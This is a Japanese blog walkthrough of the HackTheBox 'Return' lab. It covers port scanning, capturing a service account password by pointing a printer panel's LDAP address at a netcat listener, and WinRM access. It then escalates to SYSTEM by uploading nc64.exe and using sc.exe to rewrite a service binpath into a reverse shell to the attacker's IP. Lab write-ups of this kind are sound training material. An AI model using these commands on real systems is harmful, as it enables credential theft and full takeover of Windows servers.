🔥

HackTheBox Return

2022/09/15に公開

Return

侵入

nmap

ポートスキャンを行う

┌──(kali㉿kali)-[~/Desktop/Return]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.108 -oN nmap.log
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-14 22:19 JST
-------------------------------------
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2022-09-14 13:39:14Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  unknown       syn-ack ttl 127
49682/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
-------------------------------------

多くのポートを確認

smb

445番ポートを確認したため、実行してみる

┌──(kali㉿kali)-[~/Desktop/Return]
└─$ crackmapexec smb 10.10.11.108 --shares                                 
SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)

現時点では有益な情報は得られなかった

web

Settings


アクセスすると、Address や Port などの情報が表示された
試しに、何も変更せずに、update を押し、Burp suite でリクエストを確認してみる

Adress の値が ip パラメータとして送られていることがわかる

Adress の値を kali の ip アドレスに変更し、update を押す

┌──(kali㉿kali)-[~/Desktop/Return]
└─$ nc -lvnp 389 
listening on [any] 389 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.108] 59866
0*`%return\svc-printer�
1edFg43012!!

1edFg43012!! という文字列が出力された

wireshark


先程の通信を wireshark で確認すると、name が return\svc-printer となっていることがわかる

crackmapexec

取得した情報で資格情報の取得を目指す

┌──(kali㉿kali)-[~/Desktop/Return]
└─$ crackmapexec smb 10.10.11.108 --shares -u svc-printer -p '1edFg43012!!'
SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!! 
SMB         10.10.11.108    445    PRINTER          [+] Enumerated shares
SMB         10.10.11.108    445    PRINTER          Share           Permissions     Remark
SMB         10.10.11.108    445    PRINTER          -----           -----------     ------
SMB         10.10.11.108    445    PRINTER          ADMIN$          READ            Remote Admin
SMB         10.10.11.108    445    PRINTER          C$              READ,WRITE      Default share
SMB         10.10.11.108    445    PRINTER          IPC$            READ            Remote IPC
SMB         10.10.11.108    445    PRINTER          NETLOGON        READ            Logon server share 
SMB         10.10.11.108    445    PRINTER          SYSVOL          READ            Logon server share

smb でうまく動作した。C$ に読み込み/書き込み権限があるが、特に特別情報はない
winrm でも動作するか試してみる

┌──(kali㉿kali)-[~/Desktop/Return]
└─$ crackmapexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'                                                        2 ⨯
WINRM       10.10.11.108    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
WINRM       10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

動作したため、侵入できそう

svc-printer としてのシェル

evil-winrm

┌──(kali㉿kali)-[~/Desktop/Return]
└─$ evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                                         

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer

シェルの取得に成功

user フラグ

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得。先程の C$ を探索することにより取得することも可能

権限昇格

whoami /groups

ユーザがどのグループに所属しているかを調べる

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

Server Operators に所属していることがわかる
以下の記事からもわかるように、Server Operators に所属することで、サーバに対話的にログオンでき、サービスの開始や停止、ネットワーク共有の作成と削除などが可能。
参考記事 -> https://ss64.com/nt/syntax-security_groups.html#:~:text=A built-in group that,and shut down the computer.

nc64.exe

リバースシェルを実行するために、nc64.exe をアップロードする

*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /opt/netcat/nc64.exe
Info: Uploading /opt/netcat/nc64.exe to C:\Users\svc-printer\Documents\nc64.exe
                                                    
Data: 60360 bytes of 60360 bytes copied
Info: Upload successful!

sc.exe

以下の記事を参考に、コマンドを実行する
参考記事 -> https://cube0x0.github.io/Pocing-Beyond-DA/

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VSS binpath="C:\windows\system32\cmd.exe /c C:\Users\svc-printer\Documents\nc64.exe -e cmd 10.10.14.6 5555"
[SC] ChangeServiceConfig SUCCESS

root としてのシェル

start

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start VSS
┌──(kali㉿kali)-[~/Desktop/Return]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.108] 60775
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

権限昇格成功

root フラグ

C:\Users\Administrator\Desktop>type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得成功

所感

自分が Windows が苦手だと言うこともあり、今回のボックスには中々時間をかけてしまった。Windows から逃げないで学習するようにしたい。
読者の方、いつも閲覧ありがとうございます。まだまだ未熟なのでアドバイス等いただけると嬉しいです。写真等見にくい点があれば教えてください。

Discussion